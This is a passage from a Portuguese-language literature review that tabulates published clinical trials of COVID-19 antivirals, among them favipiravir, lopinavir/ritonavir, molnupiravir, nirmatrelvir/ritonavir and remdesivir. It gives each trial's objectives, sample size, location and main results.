de fase 2b/3</td><td>Avaliar eficácia e a segurança do antiviral&nbsp;<br>Ensitrelvir em pacientes com infecção por SARS-CoV-2 sem sintomas ou com&nbsp;<br>sintomas leves&nbsp;<br>COVID-19.</td><td>572 participantes.</td><td>Japão, 2024</td><td>Observou uma redução em 77 % o risco de desenvolvimento de qualquer dos&nbsp;<br>14 sintomas típicos de COVID-19 ou febre, e em 29 % o risco de&nbsp;<br>agravamento desses sintomas. As reduções nos níveis de RNA viral, na carga viral cultivável e no tempo até a obtenção de cultura viral negativa foram estatisticamente&nbsp;superiores no grupo tratado com Ensitrelvir em relação ao placebo.</td></tr><tr><td>Mukae H, et al.</td><td>Estudo randomizado de fase 2/3 de Ensitrelvir, um novo inibidor oral da protease 3Clike do SARS-<br>CoV-2, em pacientes japoneses com COVID-19 leve a moderada ou infecção assintomática&nbsp;<br>por SARS-<br>CoV-2:&nbsp;<br>resultados da parte fase 2a.</td><td>Avaliar a eficácia e segurança do&nbsp;<br>Ensitrelvir oral em pacientes japoneses&nbsp;<br>com COVID19 leve a moderada ou infecção por SARS-CoV-2&nbsp;<br>assintomática.</td><td>69 participantes</td><td>Japão, 2022</td><td>O Ensitrelvir reduziu&nbsp;<br>rapidamente a carga viral de SARS-CoV-2 até o quarto dia em comparação ao placebo, e os&nbsp;<br>pacientes tratados&nbsp;<br>eliminaram o vírus infeccioso mais rapidamente, cerca de dois dias antes do grupo placebo. O medicamento foi bem tolerado, com efeitos adversos leves a moderados, demonstrando&nbsp;<br>eficácia e segurança em pacientes com COVID-19 leve a moderada ou assintomática.<br></td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><strong>3.3.&nbsp;Favipiravir&nbsp;</strong></p>



<p class="wp-block-paragraph">Favipiravir&nbsp; é um análogo de nucleosídeo guanina que atua como inibidor da RNA-polimerase dependente de RNA, ele é incorporado no RNA viral em substituição aos nucleotídeos naturais, resultando em erro de replicação ou terminação de cadeia, impedindo o ciclo viral. A relação exposição–resposta é importante, pois doses mais altas são necessárias para atingir concentrações eficazes contra SARS-CoV-2.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Seu uso inicial é para o tratamento de Influenza e diversos vírus com atividade de RNA, recentemente ele foi reposicionado para testes no tratamento da COVID-19. No Brasil e muitos países, seu uso contra COVID-19 é experimental ou parte de estudos clínicos, em alguns contextos o uso foi combinado com outras terapias.&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 3</strong>: Distribuição dos estudos sobre Favipiravir .</p>



<figure class="wp-block-table has-small-font-size"><table class="has-fixed-layout"><tbody><tr><td><strong>Autores</strong></td><td><strong>Título/<br>Periódico</strong></td><td><strong>Objetivo(s)</strong></td><td><strong>Amostra</strong></td><td><strong>Local/Ano</strong></td><td><strong>Principais<br>resultados</strong></td></tr><tr><td>GHASEMNEJAD<br>BERENJI, Morteza;<br>PASHAPOUR,<br>Sarvin.</td><td>Favipiravir e<br>COVID-19:<br>Um resumo<br>simplificado.</td><td>Revisar e<br>resumir os<br>ensaios<br>clínicos que<br>estudaram a<br>eficácia e<br>segurança do<br>Favipiravir em<br>pacientes com<br>COVID-19.</td><td>120<br>participantes.</td><td>Irã,<br>2020.</td><td>O Favipiravir<br>demonstrou<br>atividade antiviral<br>contra o SARS<br>CoV-2, inibindo a<br>RNA polimerase<br>dependente de<br>RNA viral.<br>Ensaios clínicos<br>indicaram que o<br>Favipiravir pode<br>reduzir a carga<br>viral e melhorar<br>os sintomas em<br>pacientes com<br>COVID-19. No<br>entanto, os<br>resultados<br>variaram entre os<br>estudos, e a<br>segurança do<br>medicamento<br>requer mais<br>investigação.</td></tr><tr><td>LUVIRA,<br>Viravarn;<br>SCHILLING,<br>William H. K.;<br>JITTAMALA,<br>Podjanee; et al.</td><td>Eficácia<br>antiviral<br>clínica do<br>Favipiravir na<br>COVID-19<br>precoce.<br>(PLATCOV):<br>um ensaio<br>clínico<br>randomizado,<br>controlado, aberto e<br>adaptativo.</td><td>Avaliar a<br>eficácia<br>antiviral do<br>Favipiravir em<br>pacientes<br>adultos com<br>COVID-19<br>precoce e<br>sintomática<br>leve, utilizando<br>a taxa de eliminação viral<br>como principal<br>desfecho.</td><td>240<br>participantes.</td><td>Tailândia<br>e Brasil, 2023</td><td>Não houve<br>diferença<br>significativa na<br>taxa de<br>eliminação viral<br>entre os<br>pacientes que<br>receberam<br>Favipiravir e os<br>que não<br>receberam tratamento,<br>indicando que o<br>Favipiravir não<br>acelerou a<br>eliminação viral<br>na COVID-19<br>precoce.</td></tr><tr><td>BOSAEED,<br>Mohammad;<br>ALHARBI,<br>Ahmad;<br>MAHMOUD,<br>Ebrahim; et al.</td><td>Eficácia do<br>Favipiravir<br>em adultos<br>com COVID<br>19 leve.</td><td>Avaliar se o<br>Favipiravir<br>reduz o tempo<br>para a<br>eliminação viral<br>(documentada<br>por RT-PCR<br>negativa) em<br>casos leves de<br>COVID-19,<br>comparado ao<br>placebo.</td><td>231<br>participantes.</td><td>Arábia<br>Saudita,<br>2022.</td><td>A primeira<br>quinzena não<br>mostrou<br>diferenças<br>significativas<br>entre os grupos.<br>Quanto às<br>hospitalizações<br>ou necessidade<br>de cuidados<br>intensivos, não<br>houve diferença<br>estatisticamente<br>relevante.</td></tr><tr><td>SHAH, Pallav L;<br>ORTON,<br>Christopher M;<br>GRINSZTEJN,<br>Beatriz; et al.</td><td>Favipiravir<br>em pacientes<br>hospitalizados<br>com COVID<br>19 (ensaio<br>PIONEER):<br>um ensaio<br>clínico<br>randomizado,<br>multicêntrico,<br>aberto, de<br>fase 3, de<br>intervenção<br>precoce.</td><td>Avaliar a<br>eficácia e<br>segurança do<br>Favipiravir oral<br>em adultos<br>hospitalizados<br>com COVID<br>19, iniciando o<br>tratamento<br>dentro de 5<br>dias após o<br>início dos<br>sintomas.</td><td>1.070<br>participantes.</td><td>Índia,<br>2022.</td><td>O tratamento<br>com Favipiravir<br>não reduziu<br>significativamente<br>o tempo até a<br>recuperação<br>clínica em<br>comparação com<br>o placebo. No<br>entanto, foi<br>associado a uma<br>menor taxa de<br>progressão para<br>ventilação<br>mecânica<br>invasiva ou<br>morte.</td></tr><tr><td>LOWE, David M.;<br>BROWN, Li-An<br>K.; CHOWDHURY,<br>Kashfia; et al.</td><td>Favipiravir ,<br>Lopinavir<br>Ritonavir ou<br>terapia<br>combinada<br>(FLARE): Um<br>ensaio clínico<br>randomizado,<br>duplo-cego,<br>fatorial 2 × 2,<br>controlado<br>por placebo,<br>de terapia<br>antiviral<br>precoce na<br>COVID-19.</td><td>Avaliar se a<br>terapia antiviral<br>precoce com<br>Favipiravir ,<br>Lopinavir<br>Ritonavir ou a<br>combinação de<br>ambos,<br>administrada a<br>pacientes<br>ambulatoriais<br>com COVID<br>19, resulta em<br>redução da<br>carga viral do<br>SARS-CoV-2<br>em<br>comparação<br>com placebo.</td><td>841<br>participantes.</td><td>Reino<br>Unido, <br>2020.</td><td>O Favipiravir<br>isolado reduziu<br>significativamente<br>a carga viral em<br>pacientes<br>ambulatoriais<br>com COVID-19,<br>com 46,3%<br>apresentando<br>carga viral<br>indetectável no<br>dia 5, contra<br>26,9% no grupo<br>placebo. O<br>Lopinavir<br>Ritonavir isolado<br>não teve efeito<br>significativo, e a<br>combinação dos<br>dois<br>medicamentos<br>não trouxe<br>benefício<br>adicional.</td></tr><tr><td>SMITH, Tania;<br>HOYO-VADILLO,<br>Carlos; ADOM,<br>Akosua<br>Agyeman; et al.</td><td>Favipiravir<br>e/ou<br>nitazoxanida:<br>um ensaio<br>clínico<br>randomizado,<br>duplo-cego,<br>com desenho<br>2×2,<br>controlado<br>por placebo,<br>de terapia<br>precoce na<br>COVID-19 em profissionais<br>de saúde,<br>seus<br>familiares e<br>pacientes<br>tratados no<br>IMSS.</td><td>Avaliar se a<br>terapia antiviral<br>precoce com<br>Favipiravir +<br>nitazoxanida<br>está associada<br>a uma<br>diminuição da<br>carga viral em<br>comparação<br>com o Favipiravir<br>sozinho. Além<br>de verificar taxas e dados<br>de<br>hospitalização,<br>morbidade e<br>mortalidade<br>graves,<br>farmacocinética<br>e impacto da<br>terapia antiviral<br>na taxa de<br>mutação<br>genética viral.</td><td>120<br>participantes.</td><td>México,<br>2022.</td><td>A priori a carga<br>viral no trato<br>respiratório<br>superior no dia 5,<br>apresentou<br>negativação viral.<br>O protocolo<br>propõe que a<br>combinação das<br>drogas, com<br>diferentes<br>mecanismos de<br>ação, possa<br>oferecer efeito aditivo ou<br>sinergético,<br>diminuindo a<br>carga viral mais<br>rapidamente e<br>potencialmente<br>impedindo<br>progressão da<br>doença.</td></tr><tr><td>MCMAHON,<br>James H.; LAU,<br>Jillian S.Y.;<br>COLDHAM,<br>Anna; et al.</td><td>Favipiravir no<br>tratamento<br>precoce de<br>COVID-19<br>sintomática:<br>um ensaio<br>clínico<br>randomizado<br>controlado<br>por placebo.</td><td>Avaliar a<br>eficácia e<br>segurança do<br>Favipiravir em<br>adultos com<br>COVID-19<br>sintomática<br>precoce.</td><td>200<br>participantes.</td><td>Austrália,<br>2022.</td><td>O tratamento<br>com Favipiravir<br>não mostrou<br>redução<br>significativa na<br>duração dos<br>sintomas ou na<br>carga viral em<br>comparação com<br>o placebo.</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Eventos adversos relatados mais comuns após o uso de Lopinavir &#8211; Ritonavir (Favipiravir) foram distúrbios gastrointestinais, e os níveis plasmáticos de Favipiravir&nbsp; foram menores quando usado em combinação, possivelmente devido à absorção reduzida.&nbsp;</p>



<p class="wp-block-paragraph"><strong>3.4.&nbsp;Lopinavir&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">O Lopinavir&nbsp; é um antirretroviral inibidor de protease viral. Comumente utilizado em combinação com outros fármacos como o Ritonavir, com objetivo de gerar um efeito sinérgico, pois o Ritonavir é capaz de retardar seu metabolismo aumentando o tempo de meia-vida do fármaco. Originalmente usado no HIV e em alguns casos de Papiloma Virus Humano (HPV).&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 4</strong>: Distribuição dos estudos sobre Lopinavir</p>



<figure class="wp-block-table has-small-font-size"><table class="has-fixed-layout"><tbody><tr><td><strong>Autores</strong></td><td><strong>Título/<br>Periódico</strong></td><td><strong>Objetivo(s)</strong></td><td><strong>Amostra</strong></td><td><strong>Local/Ano</strong></td><td><strong>Principais<br>resultados</strong></td></tr><tr><td>CAO, Bin;<br>WANG,<br>Yeming;<br>WEN,<br>Danning; et<br>al.</td><td>Um ensaio clínico<br>com Lopinavir<br>Ritonavir em<br>adultos<br>hospitalizados<br>com COVID-19<br>grave.</td><td>Avaliar a eficácia<br>e segurança do<br>Lopinavir em<br>adultos<br>hospitalizados<br>com COVID-19.</td><td>199<br>participantes.</td><td>China,<br>2020.</td><td>O tratamento<br>com Lopinavir<br>não demonstrou<br>variação no<br>tempo de<br>recuperação em<br>relação ao grupo<br>controle. Os<br>níveis de RNA<br>viral detectável<br>seguiram<br>padrões<br>semelhantes<br>nos dois grupos.</td></tr><tr><td>LI, Yueping;<br>XIE, Zhiwei;<br>LIN,<br>Weiyin; et al.</td><td>Eficácia e<br>segurança de<br>Lopinavir<br>/Ritonavir ou<br>arbidol em<br>pacientes adultos<br>com COVID-19<br>leve/moderada:<br>um ensaio clínico<br>randomizado<br>exploratório.</td><td>Avaliar a eficácia<br>e segurança de<br>Lopinavir<br>/Ritonavir ou<br>arbidol em<br>pacientes adultos<br>com COVID-19<br>leve a moderada.</td><td>86<br>participantes.</td><td>China,<br>2020.</td><td>Não houve<br>diferença<br>significativa na<br>taxa de<br>eliminação viral<br>entre os grupos<br>tratados com<br>Lopinavir<br>/Ritonavir ou<br>arbidol,<br>sugerindo que<br>ambos os<br>tratamentos não<br>tiveram eficácia<br>superior ao<br>placebo. Além<br>disso, os efeitos<br>adversos foram<br>semelhantes<br>entre os grupos.</td></tr><tr><td>RECOVERY<br>Collaborative<br>Group.</td><td>Lopinavir<br>Ritonavir em<br>pacientes<br>hospitalizados<br>com COVID-19:<br>um ensaio<br>randomizado,<br>controlado, aberto,<br>do tipo plataforma.</td><td>Avaliar se o<br>tratamento com<br>Lopinavir<br>Ritonavir melhora<br>os desfechos em<br>pacientes<br>hospitalizados<br>com COVID-19.</td><td>5.040<br>pacientes.</td><td>Reino<br>Unido,<br>2020.</td><td>O tratamento<br>com Lopinavir<br>Ritonavir não<br>reduziu a<br>mortalidade por<br>todas as causas<br>em 28 dias em<br>comparação<br>com o<br>tratamento usual<br>(23% vs. 22%;<br>razão de risco<br>1,03; IC 95%<br>0,91–1,17;<br>p=0,60). Não<br>houve diferença<br>significativa na<br>duração da<br>hospitalização<br>ou na<br>necessidade de<br>ventilação<br>mecânica.<br>Apenas um<br>evento adverso<br>grave foi<br>atribuído ao<br>medicamento:<br>elevação da ALT<br>sem icterícia,<br>que se resolveu<br>após a<br>interrupção do<br>tratamento.</td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><strong>3.5.&nbsp;Molnupiravir&nbsp;</strong></p>



<p class="wp-block-paragraph">Molnupiravir é um pró-fármaco que leva à mutagênese letal do RNA viral, ao ser incorporado no RNA em forma de ribonucleosídeo causa mutações excessivas.&nbsp;</p>



<p class="wp-block-paragraph">A polimerase viral é enganada, resultando em erros de replicação viral consecutivos.&nbsp; No Brasil, o Molnupiravir foi aprovado pela Anvisa como uso emergencial em 4 de maio de 2022. O medicamento é indicado para o tratamento da Covid-19 em adultos que não requerem oxigênio suplementar e que apresentam risco aumentado de progressão da doença para casos graves.&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 5</strong>: Distribuição dos estudos sobre Molnupiravir.</p>



<figure class="wp-block-table has-small-font-size"><table class="has-fixed-layout"><tbody><tr><td><strong>Autores</strong></td><td><strong>Título/<br>Periódico</strong></td><td><strong>Objetivo(s)</strong></td><td><strong>Amostra</strong></td><td><strong>Local/Ano</strong></td><td><strong>Principais<br>resultados</strong></td></tr><tr><td>CARACO,<br>Yoseph;<br>CROFOOT,<br>Gordon E.;<br>MONCADA,<br>Pablo<br>Andres; et al.</td><td>Estudo de<br>Fase 2/3 do<br>Molnupiravir<br>para<br>Tratamento<br>da COVID-19<br>em Adultos<br>Não<br>Hospitalizados</td><td>Avaliar a<br>eficácia e<br>segurança do<br>Molnupiravir em<br>adultos não<br>hospitalizados<br>com COVID-19<br>de risco elevado<br>para progressão<br>para formas<br>graves da<br>doença.</td><td>1.433<br>participantes.</td><td>Vários<br>países<br>(Estudo<br>multinacional<br>), 2022.</td><td>O Molnupiravir<br>reduziu<br>significativament<br>e o risco de<br>hospitalização<br>ou morte em<br>adultos não<br>hospitalizados<br>com COVID-19<br>de risco<br>elevado. Não<br>foram<br>observados<br>efeitos adversos<br>graves<br>relacionados ao<br>tratamento.</td></tr><tr><td>FISCHER,<br>William A.;<br>ERON, Joseph<br>J.; HOLMAN,<br>Wayne; et al.</td><td>Ensaio clínico<br>de fase 2a de<br>Molnupiravir<br>em pacientes<br>com COVID-19 não<br>hospitalizados</td><td>Avaliar a<br>eficácia e<br>segurança do<br>Molnupiravir em<br>pacientes adultos não<br>hospitalizados<br>com COVID-19,<br>com o objetivo<br>de reduzir a<br>carga viral e<br>acelerar a<br>recuperação<br>clínica.</td><td>202<br>participantes.</td><td>Estados<br>Unidos,<br>2021.</td><td>O estudo<br>mostrou que o<br>tratamento com<br>Molnupiravir em<br>pacientes adultos não<br>hospitalizados<br>com COVID‑19<br>reduziu<br>significativament<br>e a carga viral,<br>com 92,5% dos<br>participantes do<br>grupo que<br>recebeu 800 mg<br>alcançando<br>eliminação do<br>RNA viral em<br>comparação<br>com 80,3% no<br>grupo placebo<br>ao final de<br>quatro<br>semanas. Além<br>disso, o<br>medicamento foi<br>bem tolerado,<br>apresentando<br>efeitos adversos<br>leves e<br>semelhantes<br>aos observados<br>no grupo<br>placebo.</td></tr><tr><td>ARRIBAS,<br>José R.;<br>BHAGANI,<br>Sanjay; LOBO,<br>Suzana M.; et<br>al.</td><td>Molnupiravir<br>para o<br>tratamento<br>oral da<br>COVID-19 em<br>adultos não<br>hospitalizados<br>com risco<br>elevado de progressão<br>para doença<br>grave: um<br>estudo<br>randomizado,<br>duplo-cego,<br>controlado<br>por placebo.</td><td>Avaliar a<br>eficácia e<br>segurança do<br>Molnupiravir em<br>adultos não<br>hospitalizados<br>com COVID-19<br>e risco elevado<br>de progressão para doença<br>grave.</td><td>1.433<br>participantes.</td><td>Vários<br>países<br>(Estudo<br>multinacional), 2021.</td><td>O tratamento<br>com<br>Molnupiravir<br>reduziu<br>significativamente o risco de<br>hospitalização<br>ou morte em<br>comparação com o placebo,<br>especialmente<br>quando<br>administrado<br>dentro de 5 dias<br>após o início<br>dos sintomas.</td></tr><tr><td>JAYK<br>BERNAL,<br>Angélica;<br>GOMES DA<br>SILVA, Monica<br>M.;<br>MUSUNGAIE,<br>Dany B.; et al.</td><td>Molnupiravir<br>para<br>Tratamento<br>Oral da<br>Covid-19 em<br>Pacientes<br>Não<br>Hospitalizados.</td><td>Avaliar a<br>eficácia e<br>segurança do<br>Molnupiravir em<br>adultos não<br>hospitalizados,<br>não vacinados,<br>com COVID-19<br>leve a<br>moderada,<br>iniciando o<br>tratamento até 5<br>dias após o<br>início dos<br>sintomas.</td><td>1433<br>participantes.</td><td>Vários<br>países<br>(Estudo<br>multinacional), 2021.</td><td>O tratamento<br>com<br>Molnupiravir<br>reduziu a taxa<br>de<br>hospitalização<br>ou morte em<br>pacientes não<br>hospitalizados<br>com COVID‑19<br>leve a<br>moderada,<br>sendo 6,8% no<br>grupo tratado<br>versus 9,7% no<br>grupo placebo.<br>O medicamento<br>apresentou<br>perfil de<br>segurança<br>semelhante ao<br>placebo, com<br>efeitos adversos<br>leves e<br>transitórios, e<br>sua eficácia foi<br>mais evidente<br>em pacientes<br>com maior risco<br>de progressão para formas<br>graves da<br>doença.</td></tr><tr><td>CHAWLA,<br>Akshita;<br>BIRGER,<br>Ruthie; MAAS,<br>Brian M.; et al.</td><td>Comparação<br>das relações<br>exposição<br>resposta do<br>Molnupiravir<br>para<br>biomarcadore<br>s de resposta<br>virológica e<br>mecanismo<br>de ação com<br>resultados<br>clínicos no<br>tratamento da<br>COVID-19.</td><td>Examinar a<br>relação entre<br>níveis<br>plasmáticos do<br>fármaco e<br>desfechos<br>redução de<br>carga viral.<br>Comparar<br>medidas como<br>tempo de<br>recuperação,<br>progressão da<br>doença e<br>hospitalização.</td><td>1553<br>participantes.</td><td>Estados<br>Unidos,<br>2025.</td><td>Uma redução<br>robusta na<br>carga viral foi<br>observada nos<br>dias 5 e 10, com<br>a dose de 800<br>mg a cada 12<br>horas. É<br>afirmado que<br>esta dose é<br>suficiente para<br>alcançar o efeito<br>máximo do<br>medicamento.</td></tr><tr><td>HARRIS,<br>Victoria;<br>HOLMES,<br>Jane;<br>GBINIGIE<br>THOMPSON,<br>Oghenekome;<br>et al.</td><td>Resultados<br>de saúde 3<br>meses e 6<br>meses após o<br>tratamento<br>com<br>Molnupiravir<br>para COVID<br>19 em<br>pessoas com<br>maior risco na<br>comunidade:<br>um ensaio<br>clínico<br>randomizado<br>controlado.</td><td>Avaliar os<br>desfechos de<br>saúde em<br>pacientes que<br>utilizaram<br>Molnupiravir<br>para COVID-19,<br>com<br>acompanhamento de 3 e 6<br>meses após o<br>tratamento.</td><td>1.234<br>participantes.</td><td>Reino Unido,<br>2025.</td><td>O estudo<br>observou que o<br>uso de<br>Molnupiravir foi<br>associado a<br>uma redução<br>significativa nos<br>desfechos<br>adversos de<br>saúde em 3 e 6<br>meses após o<br>tratamento, em<br>comparação<br>com grupos que<br>não utilizaram o<br>medicamento.</td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><strong>3.6.&nbsp;Nirmatrelvir&nbsp;&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">Nirmatrelvir é um inibidor de protease 3CL do SARS-CoV-2, atua interrompendo o processamento das poliproteínas virais de replicação. É associado com Ritonavir devido ao efeito sinérgico dos medicamentos, prolongando a meia vida do Nirmatrelvir. É uma das principais terapias orais adotadas em guidelines.&nbsp;</p>



<p class="wp-block-paragraph">O medicamento é comercializado como “Paxlovid” (Nirmatrelvir &nbsp; + Ritonavir). Recebeu autorização emergencial ou aprovação. No Brasil, a Anvisa lista Paxlovid entre os medicamentos aprovados para tratamento de COVID-19.&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 6</strong>: Distribuição dos estudos sobre Nirmatrelvir.</p>



<figure class="wp-block-table has-small-font-size"><table class="has-fixed-layout"><tbody><tr><td><strong>Autores</strong></td><td><strong>Título/<br>Periódico</strong></td><td><strong>Objetivo(s)</strong></td><td><strong>Amostra</strong></td><td><strong>Local/Ano</strong></td><td><strong>Principais<br>resultados</strong></td></tr><tr><td>HAMMOND,<br>Jennifer;<br>LEISTER<br>TEBBE,<br>Heidi;<br>GARDNER,<br>Annie; et al.</td><td>Nirmatrelvir<br>oral para<br>adultos de<br>alto risco não<br>hospitalizado<br>s com Covid<br>19.</td><td>Avaliar a<br>eficácia e<br>segurança do<br>uso oral de<br>Nirmatrelvir +<br>Ritonavir em<br>adultos<br>sintomáticos,<br>não<br>hospitalizados e<br>com alto risco<br>de progressão<br>para COVID-19<br>grave.</td><td>2.246<br>participantes.</td><td>Estudo<br>multinacional<br>, 2021.</td><td>Foram relatadas<br>diminuições na<br>incidência de<br>hospitalização ou<br>morte por Covid<br>A carga viral<br>em dia 5 foi<br>menor no grupo<br>tratado com<br>Nirmatrelvir.</td></tr><tr><td>CAO,<br>Zhujun;<br>GAO, Weiyi;<br>BAO,<br>Hong; et al.</td><td>VV116 versus<br>Nirmatrelvir<br>Ritonavir para<br>o tratamento<br>oral da Covid<br>19</td><td>Comparar a<br>eficácia e<br>segurança de<br>VV116, um<br>agente antiviral<br>oral, com<br>Nirmatrelvir<br>Ritonavir em adultos com<br>COVID-19 leve<br>a moderada e<br>risco de<br>progressão à<br>forma grave,<br>durante o surto<br>da variante<br>Ômicron.</td><td>771<br>participantes</td><td>China, 2022.</td><td>VV116<br>demonstrou não<br>inferioridade em<br>relação ao<br>Nirmatrelvir<br>Ritonavir quanto<br>ao tempo até a<br>recuperação clínica. incidência<br>de eventos<br>adversos foi<br>menor no grupo<br>VV116. Não<br>houve mortes<br>nem progressão<br>para forma grave<br>da COVID-19 até<br>o dia 28 em<br>nenhum dos<br>grupos.</td></tr><tr><td>DRYDEN<br>PETERSON,<br>Scott; KIM,<br>Andy; KIM,<br>Arthur Y.; et<br>al.</td><td>Nirmatrelvir<br>Ritonavir<br>para COVID<br>19 em estágio<br>inicial em um<br>grande<br>sistema de<br>saúde dos<br>EUA: um<br>estudo de<br>coorte<br>baseado na<br>população.</td><td>Avaliar, em<br>condições reais<br>(observacionais)<br>, se o tratamento<br>com Nirmatrelvir<br>Ritonavir em<br>pacientes<br>ambulatoriais<br>com COVID-19<br>precoce reduz o<br>risco de<br>hospitalização<br>ou morte.</td><td>44.551<br>participantes</td><td>Estados<br>Unidos,<br>2022.</td><td>O risco ajustado<br>de hospitalização<br>ou morte foi<br>aproximadament<br>e 44% para<br>aqueles que<br>receberam<br>Paxlovid. Em<br>populações com<br>alta cobertura<br>vacinal, o<br>benefício ainda<br>foi observado,<br>embora em<br>magnitude menor<br>do que em<br>populações não<br>vacinadas.</td></tr><tr><td>HAMMOND,<br>Jennifer;<br>YUNIS,<br>Carla;<br>FOUNTAINE<br>, Robert J.; et<br>al.</td><td>Nirmatrelvir<br>Ritonavir oral<br>como<br>profilaxia pós<br>exposição<br>para a Covid<br>19.</td><td>Avaliar se a<br>administração<br>oral de<br>Nirmatrelvir +<br>Ritonavir como<br>profilaxia pós<br>exposição (PEP) pode prevenir o<br>desenvolvimento de infecção<br>sintomática por<br>SARS-CoV-2<br>em adultos<br>expostos.</td><td>2.736<br>participantes</td><td>Estudo<br>multinacional<br>, 2022.</td><td>As diferenças<br>entre cada grupo<br>de tratamento e<br>placebo não<br>foram<br>estatisticamente<br>significativas. A incidência de<br>infecção<br>sintomática<br>confirmada por<br>SARS-CoV-2 até<br>14 dias foi de 2,6<br>% no grupo de 5<br>dias, 2,4 % no de<br>10 dias e 3,9 %<br>no grupo<br>placebo.</td></tr><tr><td>GENG, Linda<br>N.;<br>BONILLA,<br>Hector;<br>HEDLIN,<br>Haley; et al</td><td>Nirmatrelvir<br>Ritonavir e<br>sintomas em<br>adultos com<br>sequelas pós<br>agudas da<br>infecção por<br>SARS-CoV-2:<br>o ensaio<br>clínico<br>randomizado<br>STOP-PASC.</td><td>Avaliar se um<br>curso de 15 dias<br>de Nirmatrelvir<br>Ritonavir pode<br>reduzir a<br>gravidade de<br>sintomas<br>selecionados de<br>sequelas pós<br>agudas de<br>SARS-CoV-2<br>em adultos que<br>já apresentam<br>esses sintomas.</td><td>155<br>participantes</td><td>Estados<br>Unidos,<br>2022.</td><td>A gravidade de 6<br>sintomas de<br>PASC (fadiga,<br>confusão mental,<br>falta de ar, dores<br>no corpo,<br>sintomas<br>gastrointestinais<br>e sintomas<br>cardiovasculares)<br>não<br>apresentaram<br>diferença<br>significativa entre<br>o grupo tratado e<br>o placebo. Em<br>termos de<br>segurança, os<br>eventos adversos<br>foram<br>semelhantes<br>entre os grupos e<br>em sua maioria<br>leves.</td></tr><tr><td>ANDERSON,<br>Annaliesa S.;<br>CAUBEL,<br>Patrick; RUSNAK,<br>James M.</td><td>Nirmatrelvir<br>Ritonavir e<br>rebote da<br>carga viral na Covid-19.</td><td>Descrever a<br>frequência de<br>aumento da<br>RNA viral após término do<br>tratamento em<br>participantes<br>que receberam<br>Nirmatrelvir +<br>Ritonavir no<br>ensaio EPIC-HR<br>e compará-la<br>com o placebo.</td><td>2.216<br>participantes</td><td>Estados<br>Unidos,<br>2022.</td><td>O aumento de<br>RNA viral ocorreu<br>em taxas<br>similares em ambos os<br>grupos.<br>Ocorreram<br>hospitalizações<br>no grupo<br>Nirmatrelvir<br>(1,3%) e no<br>grupo placebo<br>(5,7%). Os<br>autores informam<br>que não foi<br>possível<br>demonstrar uma<br>associação<br>consistente entre<br>o uso de<br>Nirmatrelvir<br>/Ritonavir e o<br>recuo de RNA<br>viral.</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Os eventos adversos relatados foram disgeusia, alteração no sabor de alimentos e bebidas, e diarreia.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph"><strong>3.7.&nbsp;Remdesivir&nbsp;</strong></p>



<p class="wp-block-paragraph">Remdesivir é um pró-fármaco que atua como inibidor da RNA polimerase dependente de RNA. É um análogo de adenosina que ao ser convertido na forma ativa compete com o ATP na cadeia de RNA viral, causando terminação prematura da síntese de RNA.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">É um medicamento reposicionado para COVID-19, seu desenvolvimento foi voltado para tratamento da Ebola e o vírus de Marburg. No Brasil, Remdesivir está aprovado pela Anvisa para uso em COVID-19. Em muitos países, é um dos primeiros antivirais aprovados para uso hospitalar em COVID-19.&nbsp;&nbsp;</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 7</strong>: Distribuição dos estudos sobre Remdesvir.</p>



<figure class="wp-block-table has-small-font-size"><table class="has-fixed-layout"><tbody><tr><td><strong>Autores</strong></td><td><strong>Título/<br>Periódico</strong></td><td><strong>Objetivo(s)</strong></td><td><strong>Amostra</strong></td><td><strong>Local/Ano</strong></td><td><strong>Principais<br>resultados</strong></td></tr><tr><td>SPINNER,<br>Christoph D.;<br>GOTTLIEB,<br>Robert L.;<br>CRINER,<br>Gerard J.; et<br>al.</td><td>Efeito do<br>Remdesivir<br>versus<br>tratamento<br>padrão no<br>estado clínico<br>após 11 dias<br>em pacientes<br>com COVID-19<br>moderada: um<br>ensaio clínico<br>randomizado.</td><td>Comparar a<br>atividade<br>antiviral e<br>segurança de<br>duas<br>dosagens de<br>Remdesivir EV<br>em pacientes<br>hospitalizados<br>com COVID<br>19 moderada.</td><td>600<br>participantes.</td><td>Estudo<br>multinacional<br>, 2020.</td><td>A aplicação de<br>Remdesivir por 5<br>dias demonstrou<br>razão de<br>probabilidade de 1,65 de melhora clínica. Não foram<br>observadas<br>diferenças<br>significativas nas<br>alterações da<br>função renal ou<br>nas enzimas<br>hepáticas entre os grupos estudados.</td></tr><tr><td>MOHIUDDIN<br>CHOWDHUR<br>Y, Abu Taiub<br>Mohammed;<br>KAMAL,<br>Aktar;<br>ABBAS, Kafil<br>Uddin; et al.</td><td>Eficácia e<br>resultados da<br>combinação de<br>Remdesivir e<br>tocilizumab<br>contra a<br>dexametasona<br>no tratamento<br>da COVID-19<br>grave: um<br>ensaio clínico<br>randomizado<br>controlado.</td><td>Investigar a<br>eficácia e<br>segurança da<br>terapia<br>combinada de<br>Remdesivir +<br>tocilizumab<br>em pacientes<br>com COVID<br>19 grave,<br>comparada ao<br>uso de<br>dexametasona<br>como controle,<br>com desfechos<br>clínicos.</td><td>205<br>participante</td><td>Bangladesh,<br>2020.</td><td>O grupo<br>Remdesivir +<br>tocilizumab<br>apresentou taxa de mortalidade de 25,49 %, enquanto o grupo controle<br>(dexametasona)<br>apresentou 30,77%. O grupo sob<br>medicação teve<br>tempo mais<br>favorável de<br>melhora clínica.<br>Também<br>apontaram que o grupo tratado com Remdesivir + tocilizumab teve menor proporção<br>de necessidade de oxigênio adicional.</td></tr><tr><td>Consórcio do<br>Ensaio<br>Solidário da<br>OMS.</td><td>Medicamentos<br>antivirais<br>reaproveitados<br>para a Covid<br>19 —<br>Resultados<br>provisórios do<br>Consórcio do<br>Ensaio<br>Solidário da<br>OMS.</td><td>Avaliar o efeito<br>dos antivirais<br>reaproveitados<br>: 